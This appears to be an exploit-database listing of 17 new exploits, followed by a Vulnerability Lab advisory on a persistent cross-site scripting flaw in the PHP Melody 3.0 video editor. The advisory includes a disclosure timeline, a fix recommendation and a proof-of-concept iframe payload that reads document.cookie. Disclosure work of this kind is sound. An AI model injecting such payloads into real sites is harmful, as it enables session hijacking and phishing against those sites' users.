
17 changes to exploits/shellcodes RDP Manager 4.9.9.3 - Denial-of-Service (PoC) PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS) WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) Fuel CMS 1.4.1 - Remote Code Execution (3) Eclipse Jetty 11.0.5 - Sensitive File Disclosure WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenAM 13.0 - LDAP Injection Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS) Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'vid' SQL Injection Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS) Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS) Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)
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# Exploit Title: PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS)
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# Date: 2021-10-21
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# Exploit Author: Vulnerability Lab
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# Vendor Homepage: https://www.phpsugar.com/phpmelody.html
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Document Title:
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===============
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PHP Melody v3.0 - (Editor) Persistent XSS Vulnerability
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References (Source):
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====================
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https://www.vulnerability-lab.com/get_content.php?id=2291
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Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/
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Release Date:
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=============
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2021-10-21
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Vulnerability Laboratory ID (VL-ID):
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====================================
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2291
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Common Vulnerability Scoring System:
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====================================
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5.4
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Vulnerability Class:
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====================
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Cross Site Scripting - Persistent
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Current Estimated Price:
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========================
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500€ - 1.000€
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Product & Service Introduction:
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===============================
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Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing.
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Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series,
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TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS.
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(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the PHP Melody v3.0 video cms web-application.
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Affected Product(s):
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====================
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PHPSUGAR
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Product: PHP Melody v3.0 - Video CMS (Web-Application)
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Vulnerability Disclosure Timeline:
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==================================
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2021-09-01: Researcher Notification & Coordination (Security Researcher)
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2021-09-02: Vendor Notification (Security Department)
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2021-09-04: Vendor Response/Feedback (Security Department)
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2021-09-22: Vendor Fix/Patch (Service Developer Team)
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2021-09-22: Security Acknowledgements (Security Department)
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2021-10-20: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Authentication Type:
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====================
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Restricted Authentication (Moderator Privileges)
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User Interaction:
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=================
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Low User Interaction
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Disclosure Type:
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================
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Responsible Disclosure
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Technical Details & Description:
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================================
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A persistent input validation web vulnerability has been discovered in PHP Melody v3.0 video cms web-application.
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The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to
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compromise browser to web-application requests from the application-side.
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The persistent cross site web vulnerability is located in the video editor (WYSIWYG) with the tinymce class.
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Privileged user accounts like edtiors are able to inject own malicious script code via editor to provoke a
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public execution by users oder administrators. The request method to inject is get and after save in dbms
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via post method the attack vector becomes persistent.
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Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
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external redirects to malicious source and persistent manipulation of affected application modules.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] Editor - Videos (WYSIWYG - tinymce)
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Vulnerable File(s):
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[+] edit-episode.php
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Vulnerable Parameter(s):
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[+] episode_id
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Affected Module(s):
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[+] description
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Proof of Concept (PoC):
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=======================
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The persistent validation vulnerability can be exploited by remote attackers with privileged editor user account and with low user interaction.
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For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.
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PoC: Payload
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<p><a title=""><iframe src="//phpmelody.localhost.com:8080/admin/[PWND]">">">"
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href="https://phpmelody.localhost.com:8080/admin/"><iframe%20src=evil.source onload=alert(document.cookie)>">">">">"></iframe></a></p>
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--- PoC Session Logss (GET) [WYSIWYG] ---
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https://phpmelody.localhost.com:8080/admin/[PWND]
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Host: phpmelody.localhost.com:8080
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Connection: keep-alive
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Referer: https://phpmelody.localhost.com:8080/admin/edit-episode.php?episode_id=1
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Cookie: PHPSESSID=aac20732ffd23b7d11815fa2b8f2e12a; melody_d900e07810ba03257e53baf46a9ada6f=admin;
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melody_key_d900e07810ba03257e53baf46a9ada6f=cc33e6eb60d2c1e31a5612bd8c193c88;
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cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNw%3D%3D;
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pm_elastic_player=normal; aa_import_from=youtube; guest_name_d900e07810ba03257e53baf46a9ada6f=admin
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-
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GET: HTTP/2.0 200 OK
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content-type: text/html;
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vary: Accept-Encoding
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Vulnerable Source: Video Editor (WYSIWYG - tinymce)
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<textarea name="description" cols="100" id="textarea-WYSIWYG" class="tinymce" style="display: none;"
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aria-hidden="true"><p><test title=""><iframe src="//phpmelody.localhost.com:8080/admin/evil.source">">">"
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href="https://phpmelody.localhost.com:8080/admin/"><iframe%20src=evil.source onload=alert(document.cookie)>">">">">"></iframe></a></p></textarea>
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<span class="autosave-message"></span>
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</div></div>
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Reference(s):
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https://phpmelody.localhost.com:8080/admin/
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https://phpmelody.localhost.com:8080/admin/edit-episode.php
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https://phpmelody.localhost.com:8080/admin/edit-episode.php?episode_id=1
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Solution - Fix & Patch:
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=======================
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Encode and sanitize the input description parameter of the web editor tinymce class for moderators, editors or users to prevent attacks.
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Credits & Authors:
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==================
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Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
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not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
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Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY (VULNERABILITY LAB)
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RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
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LUDWIG-ERHARD STRAßE 4
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34131 KASSEL - HESSEN
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DEUTSCHLAND (DE) |